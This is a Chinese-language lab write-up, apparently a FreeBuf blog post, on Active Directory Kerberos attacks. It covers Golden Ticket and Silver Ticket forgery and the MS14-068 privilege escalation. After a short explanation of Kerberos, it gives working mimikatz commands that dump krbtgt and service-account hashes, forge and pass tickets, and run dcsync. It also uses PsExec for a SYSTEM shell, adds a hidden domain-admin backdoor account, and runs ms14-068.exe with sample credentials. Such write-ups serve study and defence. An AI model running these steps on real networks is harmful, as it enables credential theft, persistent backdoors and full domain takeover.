域渗透之黄金票据与白银票据
前言&&实验环境
此文是我前段时间学习票据攻击所做的实验记录,最近重做整理了以下,本人菜鸟一枚,文章可能会有些错误。
实验环境
ip:192.168.10.1/24(自定义网段,模拟内网环境)
掩码:255.255.255.0
DC(win server2008R2):192.168.10.2
web-server(win server2008R2):192.168.192.153(双网卡,外网)、192.169.10.10(内网)
什么是域——域是一组有边界的计算机的集合
百度百科:https://baike.baidu.com/item/%E5%9F%9F/12740244?fr=aladdin
kerberos认证
KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。
Kerberos认证的大概流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
参考:https://www.likecs.com/show-454375.html
黄金票据(Golden ticket)
原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
参考:https://www.jianshu.com/p/4936da524040
黄金票据常用于权限维持。
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。
所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
实验
假设我们已经通过hash传递(pth)的方式拿到了域控。
这是我自己做的实验:
https://www.freebuf.com/articles/web/325143.html
基本信息获取(SID,所处域)
这里直接在域控制权上进行操作
whoami /user 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation 查看所处域
获取krbtgt用户hash
运行mimikatz.exe
privilegeg::debug #开启特权模式
lsadump::lsa /patch #获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt
制作黄金票据(使用mimikatz)
此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器,使用mimikatz制作黄金票据。
Kerberos::purge
klist purge 这两条命令可以清除机器中的票据,以防干扰
kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
此时我们无法连接域控。
先清除票据
kerberos::purge
制作票据
kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
票据传递
kerberos::ptt ticket.kirbi
dir \\dc.cyber.com\c$ #这里好像一定要完整的主机名才行
后记
此时一个通往域内任意服务的后门制作完成。
可以直接使用psexec工具获得交互权限
PsExec64.exe \\dc.cyber.com -s cmd.exe
也可以在域内创建隐藏用户。
net user qwerty$ Aa123456 /add /domain
net group "domain admins" qwerty$ /domain
创建隐藏用户
这里有点不明白为什么net user /domain
命令看不到隐藏用户,但是net group "domain admins" /domain
命令可以看到。。
白银票据(Silver ticket)
原理
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
参考:https://www.jianshu.com/p/4936da524040
所需条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
实验
基本信息获取(SID,所处域,服务器名,NTLM HASH)
SID和所处域参考上面
whoami /user
net config workstation
获取服务账号hash
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt'
需要注意的是,这里一定要选择服务器的名字跟他的hash
制作白银票据(使用mimikatz)
klist purge 清除票据
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
攻击前
伪造共享文件夹服务(cifs)权限
攻击成功
伪造LDAP服务权限
lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据
票据制作
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
只需要把服务名改成/service:ldap即可
参考:
https://blog.csdn.net/weixin_39851261/article/details/112076055
https://zhuanlan.zhihu.com/p/475689947
首先klist purge
清除票据
我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。
现在我们使用mimikatz实验获取krbtgt的密码散列:发现无法获取
接下来使用生成的票据进行攻击
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
成功获取krbtgt的hash
可以伪造的服务
MS14-068
MS14-068可以将普通域用户提升到域管理员权限
条件
获取域用户名,密码,sid
系统不存在补丁KB3011780
参考:https://blog.csdn.net/lhh134/article/details/104139081
https://www.jianshu.com/p/1ec166b4fcf8
复现(使用ms14-068.exe)
查看补丁状况
systeminfo|find "KB3011780"
获取用户名、密码、SID
hack1
Aa123456 #我所创建的用户都是这个密码,实际可用通过mimikatz获取
S-1-5-21-1923088019-4105411894-1236499359-1115
攻击
`ms14-068.exe -u user@domain -p user_password -s sid -d domain_ip`
ms14-068.exe -u hack1@cyber.com -p Aa123456 -s S-1-5-21-1923088019-4105411894-1236499359-1115 -d 192.168.10.2
攻击前拒绝访问,使用MS14-068.exe生成了.ccache文件
使用mimikatz传递票据
kerberos::ptc xxx.ccache
还有很多其他的利用方式,不过我只实现了这一种,在kali上用impacket工具包总会出现奇怪的问题。
总结&&参考
金票和银票的区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
https://www.likecs.com/show-454375.html
https://www.jianshu.com/p/4936da524040
https://blog.csdn.net/lhh134/article/details/104139081
https://www.jianshu.com/p/1ec166b4fcf8
之前做实验的时候还看了很多其他的文章...
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐